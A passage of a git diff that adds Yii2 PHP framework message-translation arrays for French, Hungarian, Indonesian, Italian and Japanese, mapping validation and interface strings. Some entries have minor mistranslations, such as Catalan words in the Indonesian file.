être vide.', + '{attribute} is invalid.' => '{attribute} est invalide.', + '{attribute} is not a valid URL.' => '{attribute} n\'est pas une URL valide.', + '{attribute} is not a valid email address.' => '{attribute} n\'est pas une adresse email valide.', + '{attribute} must be "{requiredValue}".' => '{attribute} doit êre « {requiredValue} ».', + '{attribute} must be a number.' => '{attribute} doit être un nombre.', + '{attribute} must be a string.' => '{attribute} doit être une chaîne.', + '{attribute} must be an integer.' => '{attribute} doit être un entier.', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} doit être soit {true} soit {false}.', + '{attribute} must be greater than "{compareValue}".' => '{attribute} doit être supérieur à « {compareValue} ».', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} doit être supérieur ou égal à « {compareValue} ».', + '{attribute} must be less than "{compareValue}".' => '{attribute} doit être inférieur à « {compareValue} ».', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} doit être inférieur ou égal à « {compareValue} ».', + '{attribute} must be no greater than {max}.' => '{attribute} ne doit pas être supérieur à {max}.', + '{attribute} must be no less than {min}.' => '{attribute} ne doit pas être inférieur à {min}.', + '{attribute} must be repeated exactly.' => '{attribute} doit être identique.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} ne doit pas être égal à « {compareValue} ».', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} doit comporter au moins {min, number} {min, plural, one{caractère} other{caractères}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} doit comporter au plus {max, number} {max, plural, one{caractère} other{caractères}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} doit comporter {length, number} {length, plural, one{caractère} other{caractères}}.', + '{delta, plural, =1{a day} other{# days}} ago' => 'il y a {delta, plural, =1{un jour} other{# jours}}', + '{delta, plural, =1{a minute} other{# minutes}} ago' => 'il y a {delta, plural, =1{une minute} other{# minutes}}', + '{delta, plural, =1{a month} other{# months}} ago' => 'il y a {delta, plural, =1{un mois} other{# mois}}', + '{delta, plural, =1{a second} other{# seconds}} ago' => 'il y a {delta, plural, =1{une seconde} other{# secondes}}', + '{delta, plural, =1{a year} other{# years}} ago' => 'il y a {delta, plural, =1{un an} other{# ans}}', + '{delta, plural, =1{an hour} other{# hours}} ago' => 'il y a {delta, plural, =1{une heure} other{# heures}}', + '{n, plural, =1{# byte} other{# bytes}}' => '{n, plural, =1{# octet} other{# octets}}', + '{n, plural, =1{# gigabyte} other{# gigabytes}}' => '{n, plural, =1{# gigaoctet} other{# gigaoctets}}', + '{n, plural, =1{# kilobyte} other{# kilobytes}}' => '{n, plural, =1{# kilooctet} other{# kilooctets}}', + '{n, plural, =1{# megabyte} other{# megabytes}}' => '{n, plural, =1{# megaoctet} other{# megaoctets}}', + '{n, plural, =1{# petabyte} other{# petabytes}}' => '{n, plural, =1{# petaoctet} other{# petaoctets}}', + '{n, plural, =1{# terabyte} other{# terabytes}}' => '{n, plural, =1{# teraoctet} other{# teraoctets}}', + '{n} B' => '{n} o', + '{n} GB' => '{n} Go', + '{n} KB' => '{n} Ko', + '{n} MB' => '{n} Mo', + '{n} PB' => '{n} Po', + '{n} TB' => '{n} To', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/hu/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/hu/yii.php new file mode 100644 index 00000000..342d2f87 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/hu/yii.php @@ -0,0 +1,106 @@ + '(nincs beállítva)', + 'An internal server error occurred.' => 'Egy belső szerver hiba történt.', + 'Are you sure you want to delete this item?' => 'Biztos benne, hogy törli ezt az elemet?', + 'Delete' => 'Törlés', + 'Error' => 'Hiba', + 'File upload failed.' => 'A fájlfeltöltés nem sikerült.', + 'Home' => 'Főoldal', + 'Invalid data received for parameter "{param}".' => 'Érvénytelen paraméter: {param}.', + 'Login Required' => 'Bejelentkezés szükséges', + 'Missing required arguments: {params}' => 'Hiányzó argomentumok: {params}', + 'Missing required parameters: {params}' => 'Hiányzó paraméterek: {params}', + 'No' => 'Nem', + 'No help for unknown command "{command}".' => 'Nincs súgó az ismeretlen {command} parancshoz.', + 'No help for unknown sub-command "{command}".' => 'Nincs súgó az ismeretlen {command} alparancshoz.', + 'No results found.' => 'Nincs találat.', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'Csak a következő MIME típusú fájlok engedélyezettek: {mimeTypes}.', + 'Only files with these extensions are allowed: {extensions}.' => 'Csak a következő kiterjesztésű fájlok engedélyezettek: {extensions}.', + 'Page not found.' => 'Az oldal nem található.', + 'Please fix the following errors:' => 'Kérjük javítsa a következő hibákat:', + 'Please upload a file.' => 'Kérjük töltsön fel egy fájlt.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => '{begin, number}-{end, number} megjelenítése a(z) {totalCount, number} elemből.', + 'The file "{file}" is not an image.' => '"{file}" nem egy kép.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => '"{file}" túl nagy. A mérete nem lehet nagyobb {limit, number} bájtnál.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => '"{file}" túl kicsi. A mérete nem lehet kisebb {limit, number} bájtnál.', + 'The format of {attribute} is invalid.' => 'A(z) {attribute} formátuma érvénytelen.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'A(z) "{file}" kép túl nagy. A magassága nem lehet nagyobb {limit, number} pixelnél.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'A(z) "{file}" kép túl nagy. A szélessége nem lehet nagyobb {limit, number} pixelnél.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'A(z) "{file}" kép túl kicsi. A magassága nem lehet kisebb {limit, number} pixelnél.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'A(z) "{file}" kép túl kicsi. A szélessége nem lehet kisebb {limit, number} pixelnél.', + 'The requested view "{name}" was not found.' => 'A kért "{name}" nézet nem található.', + 'The verification code is incorrect.' => 'A megerősítő kód helytelen.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Összesen {count, number} elem.', + 'Unable to verify your data submission.' => 'Nem sikerült ellenőrizni az adatokat.', + 'Unknown command "{command}".' => 'Ismeretlen parancs: "{command}".', + 'Unknown option: --{name}' => 'Ismeretlen kapcsoló: --{name}', + 'Update' => 'Szerkesztés', + 'View' => 'Megtekintés', + 'Yes' => 'Igen', + 'You are not allowed to perform this action.' => 'Nincs jogosultsága a művelet végrehajtásához.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Legfeljebb {limit, number} fájlt tölthet fel.', + 'in {delta, plural, =1{a day} other{# days}}' => '{delta} napon belül', + 'in {delta, plural, =1{a minute} other{# minutes}}' => '{delta} percen belül', + 'in {delta, plural, =1{a month} other{# months}}' => '{delta} hónapon belül', + 'in {delta, plural, =1{a second} other{# seconds}}' => '{delta} másodpercen belül', + 'in {delta, plural, =1{a year} other{# years}}' => '{delta} éven belül', + 'in {delta, plural, =1{an hour} other{# hours}}' => '{delta} órán belül', + 'the input value' => 'a beviteli érték', + '{attribute} "{value}" has already been taken.' => '{attribute} "{value}" már használatban van.', + '{attribute} cannot be blank.' => '{attribute} nem lehet üres.', + '{attribute} is invalid.' => '{attribute} érvénytelen.', + '{attribute} is not a valid URL.' => '{attribute} nem valódi URL.', + '{attribute} is not a valid email address.' => '{attribute} nem valódi e-mail cím.', + '{attribute} must be "{requiredValue}".' => '{attribute} értéke "{requiredValue}" kell, hogy legyen.', + '{attribute} must be a number.' => '{attribute} csak szám lehet.', + '{attribute} must be a string.' => '{attribute} csak szöveg lehet.', + '{attribute} must be an integer.' => '{attribute} csak egész szám lehet.', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} csak "{true}" vagy "{false}" lehet.', + '{attribute} must be greater than "{compareValue}".' => '{attribute} nagyobbnak kell lennie, mint "{compareValue}".', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} nagyobb vagy egyenlő kell legyen, mint "{compareValue}".', + '{attribute} must be less than "{compareValue}".' => '{attribute} kisebbnek kell lennie, mint "{compareValue}".', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} kisebb vagy egyenlő kell legyen, mint "{compareValue}".', + '{attribute} must be no greater than {max}.' => '{attribute} nem lehet nagyobb, mint {max}.', + '{attribute} must be no less than {min}.' => '{attribute} nem lehet kisebb, mint {min}.', + '{attribute} must be repeated exactly.' => 'Ismételje meg pontosan a(z) {attribute} mezőbe írtakat.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} nem lehet egyenlő ezzel: "{compareValue}', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} minimum {min, number} karakter kell, hogy legyen.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} maximum {max, number} karakter lehet.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} pontosan {length, number} kell, hogy legyen.', + '{delta, plural, =1{a day} other{# days}} ago' => '{delta} nappal ezelőtt', + '{delta, plural, =1{a minute} other{# minutes}} ago' => '{delta} perccel ezelőtt', + '{delta, plural, =1{a month} other{# months}} ago' => '{delta} hónappal ezelőtt', + '{delta, plural, =1{a second} other{# seconds}} ago' => '{delta} másodperccel ezelőtt', + '{delta, plural, =1{a year} other{# years}} ago' => '{delta} évvel ezelőtt', + '{delta, plural, =1{an hour} other{# hours}} ago' => '{delta} órával ezelőtt', + '{n, plural, =1{# byte} other{# bytes}}' => '{n} bájt', + '{n, plural, =1{# gigabyte} other{# gigabytes}}' => '{n} gigabájt', + '{n, plural, =1{# kilobyte} other{# kilobytes}}' => '{n} kilobájt', + '{n, plural, =1{# megabyte} other{# megabytes}}' => '{n} megabájt', + '{n, plural, =1{# petabyte} other{# petabytes}}' => '{n} petabájt', + '{n, plural, =1{# terabyte} other{# terabytes}}' => '{n} terabájt', + '{n} B' => '{n} B', + '{n} GB' => '{n} GB', + '{n} KB' => '{n} KB', + '{n} MB' => '{n} MB', + '{n} PB' => '{n} PB', + '{n} TB' => '{n} TB', +); diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/id/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/id/yii.php new file mode 100644 index 00000000..b180195f --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/id/yii.php @@ -0,0 +1,107 @@ + 'View "{name}" yang diminta tidak ditemukan.', + 'You are requesting with an invalid access token.' => 'Anda melakukan permintaan dengan akses token yang invalid.', + '(not set)' => '(belum diset)', + 'An internal server error occurred.' => 'Terjadi kesalahan internal server.', + 'Are you sure you want to delete this item?' => 'Apakah Anda yakin ingin menghapus ini?', + 'Delete' => 'Hapus', + 'Error' => 'Kesalahan', + 'File upload failed.' => 'Mengunggah berkas gagal.', + 'Home' => 'Beranda', + 'Invalid data received for parameter "{param}".' => 'Data yang diterima invalid untuk parameter "{param}"', + 'Login Required' => 'Diperlukan login', + 'Missing required arguments: {params}' => 'Argumen yang diperlukan tidak ada: {params}', + 'Missing required parameters: {params}' => 'Parameter yang diperlukan tidak ada: {params}', + 'No' => 'Tidak', + 'No help for unknown command "{command}".' => 'Tidak ada bantuan untuk perintah yang tidak diketahui "{command}".', + 'No help for unknown sub-command "{command}".' => 'Tidak ada bantuan untuk sub perintah yang tidak diketahui "{command}".', + 'No results found.' => 'Tidak ada hasil yang ditemukan.', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'Hanya berkas dengan tipe MIME ini yang diperbolehkan: {mimeTypes}.', + 'Only files with these extensions are allowed: {extensions}.' => 'Hanya berkas dengan ekstensi ini yang diperbolehkan: {extensions}.', + 'Page not found.' => 'Halaman tidak ditemukan.', + 'Please fix the following errors:' => 'Silahkan perbaiki kesalahan berikut:', + 'Please upload a file.' => 'Silahkan mengunggah berkas.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Menampilkan {begin, number}-{end, number} dari {totalCount, number} {totalCount, plural, one{element} other{elements}}.', + 'The file "{file}" is not an image.' => 'File bukan berupa gambar.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Berkas "{file}" terlalu besar. Ukurannya tidak boleh lebih besar dari {limit, number} {limit, plural, one{byte} other{bytes}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Berkas "{file}" terlalu kecil. Ukurannya tidak boleh lebih kecil dari {limit, number} {limit, plural, one{byte} other{bytes}}.', + 'The format of {attribute} is invalid.' => 'Format dari {attribute} tidak valid.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Gambar "{file}" terlalu besar. Tingginya tidak boleh lebih besar dari {limit, number} {limit, plural, one{píxel} other{píxels}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Gambar "{file}" terlalu besar. Lebarnya tidak boleh lebih besar dari {limit, number} {limit, plural, one{píxel} other{píxels}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Gambar "{file}" terlalu kecil. Tingginya tidak boleh lebih kecil dari {limit, number} {limit, plural, one{píxel} other{píxels}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Gambar "{file}" terlalu kecil. Lebarnya tidak boleh lebih kecil dari {limit, number} {limit, plural, one{píxel} other{píxels}}.', + 'The verification code is incorrect.' => 'Kode verifikasi tidak benar.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Total {count, number} {count, plural, one{element} other{elements}}.', + 'Unable to verify your data submission.' => 'Tidak dapat memverifikasi pengiriman data Anda.', + 'Unknown command "{command}".' => 'Perintah tidak dikenal "{command}".', + 'Unknown option: --{name}' => 'Opsi tidak dikenal: --{name}', + 'Update' => 'Ubah', + 'View' => 'Lihat', + 'Yes' => 'Ya', + 'You are not allowed to perform this action.' => 'Anda tidak diperbolehkan untuk melakukan aksi ini.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Anda dapat mengunggah paling banyak {limit, number} {limit, plural, one{arxiu} other{arxius}}.', + 'in {delta, plural, =1{a day} other{# days}}' => 'dalam {delta, plural, =1{un dia} other{# dies}}', + 'in {delta, plural, =1{a minute} other{# minutes}}' => 'dalam {delta, plural, =1{un minut} other{# minuts}}', + 'in {delta, plural, =1{a month} other{# months}}' => 'dalam {delta, plural, =1{un mes} other{# mesos}}', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'dalam {delta, plural, =1{un segon} other{# segons}}', + 'in {delta, plural, =1{a year} other{# years}}' => 'dalam {delta, plural, =1{un any} other{# anys}}', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'dalam {delta, plural, =1{una hora} other{# hores}}', + 'the input value' => 'nilai input', + '{attribute} "{value}" has already been taken.' => '{attribute} "{value}" telah diambil.', + '{attribute} cannot be blank.' => '{attribute} tidak boleh kosong.', + '{attribute} is invalid.' => '{attribute} tidak valid.', + '{attribute} is not a valid URL.' => '{attribute} bukan URL yang valid.', + '{attribute} is not a valid email address.' => '{attribute} bukan alamat email yang valid.', + '{attribute} must be "{requiredValue}".' => '{attribute} harus berupa "{requiredValue}".', + '{attribute} must be a number.' => '{attribute} harus berupa angka.', + '{attribute} must be a string.' => '{attribute} harus berupa string.', + '{attribute} must be an integer.' => '{attribute} harus berupa integer.', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} harus berupa "{true}" atau "{false}".', + '{attribute} must be greater than "{compareValue}".' => '{attribute} harus lebih besar dari "{compareValue}".', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} harus lebih besar dari atau sama dengan "{compareValue}".', + '{attribute} must be less than "{compareValue}".' => '{attribute} harus lebih kecil dari "{compareValue}".', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} harus lebih kecil dari atau sama dengan "{compareValue}".', + '{attribute} must be no greater than {max}.' => '{attribute} harus tidak boleh lebih besar dari {max}.', + '{attribute} must be no less than {min}.' => '{attribute} harus tidak boleh lebih kecil dari {min}.', + '{attribute} must be repeated exactly.' => '{attribute} harus diulang sama persis.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} harus tidak boleh sama dengan "{compareValue}".', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} harus memiliki paling sedikit {min, number} {min, plural, one{lletra} other{lletres}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} harus memiliki paling banyak {max, number} {max, plural, one{lletra} other{lletres}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} harus memiliki {length, number} {length, plural, one{lletra} other{lletres}}.', + '{delta, plural, =1{a day} other{# days}} ago' => '{delta, plural, =1{un dia} other{# dies}} yang lalu', + '{delta, plural, =1{a minute} other{# minutes}} ago' => '{delta, plural, =1{un minut} other{# minuts}} yang lalu', + '{delta, plural, =1{a month} other{# months}} ago' => '{delta, plural, =1{un mes} other{# mesos}} yang lalu', + '{delta, plural, =1{a second} other{# seconds}} ago' => '{delta, plural, =1{un segon} other{# segons}} yang lalu', + '{delta, plural, =1{a year} other{# years}} ago' => '{delta, plural, =1{un any} other{# anys}} yang lalu', + '{delta, plural, =1{an hour} other{# hours}} ago' => '{delta, plural, =1{una hora} other{# hores}} yang lalu', + '{n, plural, =1{# byte} other{# bytes}}' => '{n, plural, =1{# byte} other{# bytes}}', + '{n, plural, =1{# gigabyte} other{# gigabytes}}' => '{n, plural, =1{# gigabyte} other{# gigabytes}}', + '{n, plural, =1{# kilobyte} other{# kilobytes}}' => '{n, plural, =1{# kilobyte} other{# kilobytes}}', + '{n, plural, =1{# megabyte} other{# megabytes}}' => '{n, plural, =1{# megabyte} other{# megabytes}}', + '{n, plural, =1{# petabyte} other{# petabytes}}' => '{n, plural, =1{# petabyte} other{# petabytes}}', + '{n, plural, =1{# terabyte} other{# terabytes}}' => '{n, plural, =1{# terabyte} other{# terabytes}}', + '{n} B' => '{n} B', + '{n} GB' => '{n} GB', + '{n} KB' => '{n} KB', + '{n} MB' => '{n} MB', + '{n} PB' => '{n} PB', + '{n} TB' => '{n} TB', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/it/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/it/yii.php new file mode 100644 index 00000000..15e3ce0b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/it/yii.php @@ -0,0 +1,79 @@ + '(nessun valore)', + 'An internal server error occurred.' => 'Si è verificato un errore interno', + 'Delete' => 'Elimina', + 'Error' => 'Errore', + 'File upload failed.' => 'Upload file fallito', + 'Home' => 'Home', + 'Invalid data received for parameter "{param}".' => 'Dati ricevuti non corretti per il parametro "{param}".', + 'Login Required' => 'Login Richiesto', + 'Missing required arguments: {params}' => 'Il seguente argomento è mancante: {params}', + 'Missing required parameters: {params}' => 'Il seguente parametro è mancante: {params}', + 'No' => 'No', + 'No help for unknown command "{command}".' => 'Nessun aiuto per il comando sconosciuto "{command}".', + 'No help for unknown sub-command "{command}".' => 'Nessun aiuto per il sub-comando sconosciuto "{command}".', + 'No results found.' => 'Nessun risultato trovato', + 'Only files with these extensions are allowed: {extensions}.' => 'Solo i files con queste estensioni sono permessi: {extensions}.', + 'Page not found.' => 'Pagina non trovata', + 'Please fix the following errors:' => 'Per favore correggi i seguenti errori:', + 'Please upload a file.' => 'Per favore carica il file.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Visualizzo {begin, number}-{end, number} di {totalCount, number} {totalCount, plural, one{elemento} other{elementi}}.', + 'The file "{file}" is not an image.' => 'Questo file "{file}" non è una immagine.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Il file "{file}"è troppo grande. La dimensione non può superare {limit, number} {limit, plural, one{byte} other{bytes}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Il file "{file}" è troppo piccollo. La dimensione non può essere più piccola di {limit, number} {limit, plural, one{byte} other{bytes}}.', + 'The format of {attribute} is invalid.' => 'Il formato di {attribute} non è valido.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'L immagine "{file}" è troppo grande. La sua altezza non può essere maggiore di {limit, number} {limit, plural, one{pixel} other{pixels}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'L immagine "{file}" è troppo grande. La sua larghezza non può essere maggiore di {limit, number} {limit, plural, one{pixel} other{pixels}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'L immagine "{file}" è troppo piccola. La sua altezza non può essere minore di {limit, number} {limit, plural, one{pixel} other{pixels}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'L immagine "{file}" è troppo piccola. La sua larghezza non può essere minore di {limit, number} {limit, plural, one{pixel} other{pixels}}.', + 'The verification code is incorrect.' => 'Il codice di verifica non è corretto.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Totali {count, number} {count, plural, one{elemento} other{elementi}}.', + 'Unable to verify your data submission.' => 'Impossibile verificare i dati inviati.', + 'Unknown command "{command}".' => 'Comando Sconosciuto "{command}".', + 'Unknown option: --{name}' => 'Opzione Sconosciuta: --{name}', + 'Update' => 'Aggiorna', + 'View' => 'Vedi', + 'Yes' => 'Si', + 'You are not allowed to perform this action.' => 'Non sei autorizzato ad eseguire questa operazione', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Puoi caricare al massimo {limit, number} {limit, plural, one{file} other{files}}.', + 'the input value' => 'il valore del campo', + '{attribute} "{value}" has already been taken.' => '{attribute} "{value}" è già presente.', + '{attribute} cannot be blank.' => '{attribute} non può essere vuoto.', + '{attribute} is invalid.' => '{attribute} non è valido.', + '{attribute} is not a valid URL.' => '{attribute} non è un URL valido.', + '{attribute} is not a valid email address.' => '{attribute} non è una email valida.', + '{attribute} must be "{requiredValue}".' => '{attribute} deve essere "{requiredValue}".', + '{attribute} must be a number.' => '{attribute} deve essere un numero', + '{attribute} must be a string.' => '{attribute} deve essere una stringa.', + '{attribute} must be an integer.' => '{attribute} deve essere un numero intero.', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} deve essere "{true}" oppure "{false}".', + '{attribute} must be greater than "{compareValue}".' => '{attribute} deve essere maggiore di "{compareValue}".', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} deve essere maggiore o uguale a "{compareValue}".', + '{attribute} must be less than "{compareValue}".' => '{attribute} deve essere minore di "{compareValue}".', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} deve essere minore o uguale a "{compareValue}".', + '{attribute} must be no greater than {max}.' => '{attribute} non deve essere maggiore di {max}.', + '{attribute} must be no less than {min}.' => '{attribute} non deve essere minore di {min}.', + '{attribute} must be repeated exactly.' => '{attribute} deve essere ripetuto esattamente.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} non deve essere uguale a "{compareValue}".', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} dovrebbe contenere almeno {min, number} {min, plural, one{carattere} other{caratteri}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} dovrebbe contenere al massimo {max, number} {max, plural, one{carattere} other{caratteri}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} dovrebbe contenere {length, number} {length, plural, one{carattere} other{caratteri}}.', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/ja/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/ja/yii.php new file mode 100644 index 00000000..54e608d2 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/ja/yii.php @@ -0,0 +1,114 @@ + 'このアイテムを削除しても本当にかまいませんか?', + 'Only files with these MIME types are allowed: {mimeTypes}.' => '以下の MIME タイプのファイルだけが許可されています: {mimeTypes}', + 'The requested view "{name}" was not found.' => 'リクエストされたビュー "{name}" が見つかりませんでした。', + 'in {delta, plural, =1{a day} other{# days}}' => '{delta} 日後', + 'in {delta, plural, =1{a minute} other{# minutes}}' => '{delta} 分後', + 'in {delta, plural, =1{a month} other{# months}}' => '{delta} ヶ月後', + 'in {delta, plural, =1{a second} other{# seconds}}' => '{delta} 秒後', + 'in {delta, plural, =1{a year} other{# years}}' => '{delta} 年後', + 'in {delta, plural, =1{an hour} other{# hours}}' => '{delta} 時間後', + 'just now' => '現在', + '{delta, plural, =1{a day} other{# days}} ago' => '{delta} 日前', + '{delta, plural, =1{a minute} other{# minutes}} ago' => '{delta} 分前', + '{delta, plural, =1{a month} other{# months}} ago' => '{delta} ヶ月前', + '{delta, plural, =1{a second} other{# seconds}} ago' => '{delta} 秒前', + '{delta, plural, =1{a year} other{# years}} ago' => '{delta} 年前', + '{delta, plural, =1{an hour} other{# hours}} ago' => '{delta} 時間前', + '{nFormatted} B' => '{nFormatted} B', + '{nFormatted} GB' => '{nFormatted} GB', + '{nFormatted} GiB' => '{nFormatted} GiB', + '{nFormatted} KB' => '{nFormatted} KB', + '{nFormatted} KiB' => '{nFormatted} KiB', + '{nFormatted} MB' => '{nFormatted} MB', + '{nFormatted} MiB' => '{nFormatted} MiB', + '{nFormatted} PB' => '{nFormatted} PB', + '{nFormatted} PiB' => '{nFormatted} PiB', + '{nFormatted} TB' => '{nFormatted} TB', + '{nFormatted} TiB' => '{nFormatted} TiB', + '{nFormatted} {n, plural, =1{byte} other{bytes}}' => '{nFormatted} バイト', + '{nFormatted} {n, plural, =1{gibibyte} other{gibibytes}}' => '{nFormatted} ギビバイト', + '{nFormatted} {n, plural, =1{gigabyte} other{gigabytes}}' => '{nFormatted} ギガバイト', + '{nFormatted} {n, plural, =1{kibibyte} other{kibibytes}}' => '{nFormatted} キビバイト', + '{nFormatted} {n, plural, =1{kilobyte} other{kilobytes}}' => '{nFormatted} キロバイト', + '{nFormatted} {n, plural, =1{mebibyte} other{mebibytes}}' => '{nFormatted} メビバイト', + '{nFormatted} {n, plural, =1{megabyte} other{megabytes}}' => '{nFormatted} メガバイト', + '{nFormatted} {n, plural, =1{pebibyte} other{pebibytes}}' => '{nFormatted} ペビバイト', + '{nFormatted} {n, plural, =1{petabyte} other{petabytes}}' => '{nFormatted} ペタバイト', + '{nFormatted} {n, plural, =1{tebibyte} other{tebibytes}}' => '{nFormatted} テビバイト', + '{nFormatted} {n, plural, =1{terabyte} other{terabytes}}' => '{nFormatted} テラバイト', + '(not set)' => '(セットされていません)', + 'An internal server error occurred.' => 'サーバー内部エラーが発生しました。', + 'Delete' => '削除', + 'Error' => 'エラー', + 'File upload failed.' => 'ファイルアップロードに失敗しました。', + 'Home' => 'ホーム', + 'Invalid data received for parameter "{param}".' => 'パラメータ"{param}"に不正なデータを受け取りました。', + 'Login Required' => 'ログインが必要です', + 'Missing required arguments: {params}' => '必要な引数がありません: {params}', + 'Missing required parameters: {params}' => '必要なパラメータがありません: {params}', + 'No' => 'いいえ', + 'No results found.' => '結果が得られませんでした。', + 'Only files with these extensions are allowed: {extensions}.' => '次の拡張子を持つファイルだけが許可されています : {extensions}', + 'Page not found.' => 'ページが見つかりません。', + 'Please fix the following errors:' => '次のエラーを修正してください :', + 'Please upload a file.' => 'ファイルをアップロードしてください。', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => '{totalCount} 件中 {begin} から {end} までを表示しています。', + 'The file "{file}" is not an image.' => 'ファイル "{file}" は画像ではありません。', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'ファイル "{file}" が大きすぎます。サイズは {limit} バイトを超えることができません。', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'ファイル "{file}" が小さすぎます。サイズは {limit} バイトを下回ることができません。', + 'The format of {attribute} is invalid.' => '{attribute}の書式が正しくありません。', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => '画像 "{file}" が大きすぎます。高さが {limit} より大きくてはいけません。', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => '画像 "{file}" が大きすぎます。幅が {limit} より大きくてはいけません。', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => '画像 "{file}" が小さすぎます。高さが {limit} より小さくてはいけません。', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => '画像 "{file}" が小さすぎます。幅が {limit} より小さくてはいけません。', + 'The verification code is incorrect.' => '検証コードが正しくありません。', + 'Total {count, number} {count, plural, one{item} other{items}}.' => '合計 {count} 件。', + 'Unable to verify your data submission.' => 'データ送信を検証できませんでした。', + 'Unknown option: --{name}' => '不明なオプション: --{name}', + 'Update' => '更新', + 'View' => '閲覧', + 'Yes' => 'はい', + 'You are not allowed to perform this action.' => 